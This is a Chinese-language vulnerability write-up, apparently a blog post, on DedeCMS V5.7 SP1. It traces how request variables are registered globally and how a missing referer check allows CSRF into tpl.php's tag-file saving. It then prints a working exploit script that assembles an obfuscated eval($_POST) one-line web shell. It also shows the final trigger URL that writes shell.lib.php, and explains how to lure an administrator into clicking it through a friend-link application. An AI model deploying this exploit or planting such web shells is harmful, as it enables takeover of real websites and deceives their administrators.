|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
/*—————————
function savetagfile() { }
保存标签碎片修改
————————–*/
elseif($action==‘savetagfile’)
{
if(!preg_match(“#^[a-z0-9_-]{1,}\.lib\.php$#i”,$filename))
{
ShowMsg(‘文件名不合法,不允许进行操作!’,‘-1’);
exit();
}
require_once(DEDEINC.‘/oxwindow.class.php’);
$tagname=preg_replace(“#\.lib\.php$#i”,“”,$filename);
$content=stripslashes($content);
$truefile=DEDEINC.‘/taglib/’.$filename;
$fp=fopen($truefile,‘w’);
fwrite($fp,$content);
fclose($fp);
$msg=“
<form name=’form1′ action=’tag_test_action.php’ target=’blank’ method=’post’>
<input type=’hidden’ name=’dopost’ value=’make’ />
<b>测试标签:</b>(需要使用环境变量的不能在此测试)
<textarea name=’partcode’ cols=’150′ rows=’6′>{dede:{$tagname} }{/dede:{$tagname}}</textarea>
<input name=’imageField1′ type=’image’ class=’np’ src=’http://www.52bug.cn/hkjs/images/button_ok.gif’ width=’60’ height=’22’ border=’0′ />
</form>
“;
$wintitle=“成功修改/创建文件!”;
$wecome_info=“<a href=’http://www.52bug.cn/hkjs/templets_tagsource.php’>标签源码碎片管理</a> >> 修改/新建标签”;
$win=newOxWindow();
$win->AddTitle(“修改/新建标签:”);
$win->AddMsgItem($msg);
$winform=$win->GetWindow(“hand”,“ ”,false);
$win->Display();
exit();
}
|
这里是漏洞利用写入文件的地方,但是我们知道,基本所有的不安全情况,是在数据输入输出时发生的,这里的参数是怎么传递过来的呢?还有$filename和$content是怎么传递参数的呢?继续跟踪
config.php又 include了 common.inc.php ,而一般情况下,类似common.php这种文件名的,里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了
|
1
2
3
4
5
6
7
8
|
foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’)as$_request)
{
foreach($$_requestas$_k=>$_v)
{
if($_k==‘nvarname’)${$_k}=$_v;
else${$_k}=_RunMagicQuotes($_v);
}
}
|
问题在哪呢? 这段代码大概的意思是 从数组中获取获取参数的方,这里GET,POST,COOKIE方式的参数都有了。
先来跟踪GET,二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量,假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 , $test的值都被赋值为了kl0n
而tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码。
继续跟踪 userLogin类的getUserID函数:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
/**
*获得用户的ID
*
* @accesspublic
* @returnint
*/
functiongetUserID()
{
if($this->userID!=”)
{
return$this->userID;
}
else
{
return–1;
}
}
|
userLogin类用户登录
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
/**
*检验用户是否正确
*
* @accesspublic
* @param string$username用户名
* @param string$userpwd密码
* @returnstring
*/
functioncheckUser($username,$userpwd)
{
global$dsql;
//只允许用户名和密码用0-9,a-z,A-Z,’@’,’_’,’.’,’-‘这些字符
$this->userName=preg_replace(“/[^0-9a-zA-Z_@!\.-]/”,”,$username);
$this->userPwd=preg_replace(“/[^0-9a-zA-Z_@!\.-]/”,”,$userpwd);
$pwd=substr(md5($this->userPwd),5,20);
$dsql->SetQuery(“SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE ‘”.$this->userName.“‘ LIMIT 0,1”);
$dsql->Execute();
$row=$dsql->GetObject();
if(!isset($row->pwd))
{
return–1;
}
elseif($pwd!=$row->pwd)
{
return–2;
}
else
{
$loginip=GetIP();
$this->userID=$row->id;
$this->userType=$row->usertype;
$this->userChannel=$row->typeid;
$this->userName=$row->uname;
$this->userPurview=$row->purviews;
$inquery=“UPDATE `#@__admin` SET loginip=’$loginip’,logintime='”.time().“‘ WHERE id='”.$row->id.“‘”;
$dsql->ExecuteNoneQuery($inquery);
$sql=“UPDATE #@__member SET logintime=”.time().“, loginip=’$loginip’ WHERE mid=”.$row->id;
$dsql->ExecuteNoneQuery($sql);
return1;
}
}
/**
*保持用户的会话状态
*
* @accesspublic
* @returnint成功返回 1 ,失败返回 -1
*/
functionkeepUser()
{
if($this->userID!=”&&$this->userType!=”)
{
global$admincachefile,$adminstyle;
if(empty($adminstyle))$adminstyle=‘dedecms’;
@session_register($this->keepUserIDTag);
$_SESSION[$this->keepUserIDTag]=$this->userID;
@session_register($this->keepUserTypeTag);
$_SESSION[$this->keepUserTypeTag]=$this->userType;
@session_register($this->keepUserChannelTag);
$_SESSION[$this->keepUserChannelTag]=$this->userChannel;
@session_register($this->keepUserNameTag);
$_SESSION[$this->keepUserNameTag]=$this->userName;
@session_register($this->keepUserPurviewTag);
$_SESSION[$this->keepUserPurviewTag]=$this->userPurview;
@session_register($this->keepAdminStyleTag);
$_SESSION[$this->keepAdminStyleTag]=$adminstyle;
PutCookie(‘DedeUserID’,$this->userID,3600*24,‘/’);
PutCookie(‘DedeLoginTime’,time(),3600*24,‘/’);
$this->ReWriteAdminChannel();
return1;
}
else
{
return–1;
}
}
|
通过跟踪发现,这里没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了,由于变量可控漏洞导致可写入任意代码,由于CSRF漏洞诱导管理员以管理员的权限去写入代码。
先上exp:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
//print_r($_SERVER);
$referer=$_SERVER[‘HTTP_REFERER’];
$dede_login=str_replace(“friendlink_main.php”,“”,$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma=‘<‘.‘?’.‘@’.‘e’.‘v’.‘a’.‘l’.‘(‘.‘$’.‘_’.‘P’.‘O’.‘S’.‘T’.‘[‘.‘\”.‘c’.‘\”.‘]’.‘)’.‘;’.‘?’.‘>’;
$exp=‘tpl.php?action=savetagfile&actiondo=addnewtag&content=’.$muma.‘&filename=shell.lib.php’;
$url=$dede_login.$exp;
//echo $url;
// send mail coder
exit();
?>
|
首先,将这个exp部署在你的服务器上,当然你必须要有一个公网ip,假设你的url为:http://www.xxxx.com/exp.php`
在目标网站的申请友情链接处申请一个友情链接

提交之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一看
当点这个友情链接的时候,就生成了一句话shell,shell地址在//include/taglib/shell.lib.php

管理员触发了一个链接
|
1
|
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php
|
这个链接是利用管理员的权限生成了一句话

评论(0)